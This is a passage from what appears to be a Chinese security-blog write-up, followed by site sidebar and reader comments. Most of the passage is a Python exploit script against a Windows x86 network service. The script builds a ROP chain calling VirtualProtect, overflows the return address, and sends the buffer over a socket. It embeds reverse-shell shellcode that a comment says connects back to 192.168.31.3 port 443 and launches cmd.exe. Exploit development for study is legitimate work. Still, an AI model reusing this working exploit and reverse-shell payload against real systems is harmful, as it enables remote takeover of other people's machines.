    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += pack("<L", 0x40)
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## [OUT] lpflOldProtect = Writable address
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x0040bfe0) # 可写的.data地址
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## call VirtualProtect : esp =  ebx - 0n20 (0x14)
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;   
    ropbuf += pack("<L", 0xffffffec) # -0x14
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x0040344d) # xchg eax, esp ; ret  ;  

    return ropbuf

def exploit(baseAddress, stackAddress):
    print("")
    print("")
    bufferSize = 0x3000
    bufferOF = b""
    opcode = pack("<L", 0x389)
    bufferOF += opcode
    offsetOfEIP = b"B" * 2064

    ropbuf = rop(baseAddress, stackAddress)

    bufferOF = offsetOfEIP + ropbuf

    print("RoP buffer size : " + hex(len(ropbuf)))
    # └─$ python win_x86_shellcoder.py  reverse -i 192.168.31.3 -p 443    
    # shellcode size: 0x151 (337)
    shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0\x8dH\rP\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'

    offsetOfshellcode = b"\x90" * (0x200 + 0x30 + 0x20 - len(ropbuf))
    bufferOF += offsetOfshellcode + shellcode


    bufferOF += b"Z" * (bufferSize - len(bufferOF))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferOF)
    print("[+] venom buffer send")
    s.close()

addressBuf = getAddressBuffer()
baseAddress = getBaseAddressFromBuf(addressBuf)
stackAddress = getStackAddressFromBuf(addressBuf)

exploit(baseAddress, stackAddress)
  • shell截图

image-20240309220857650.png

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

XSS 文章:34 篇
数据安全 文章:29 篇
安全开发 文章:83 篇
IoT安全 文章:29 篇
二进制安全 文章:77 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录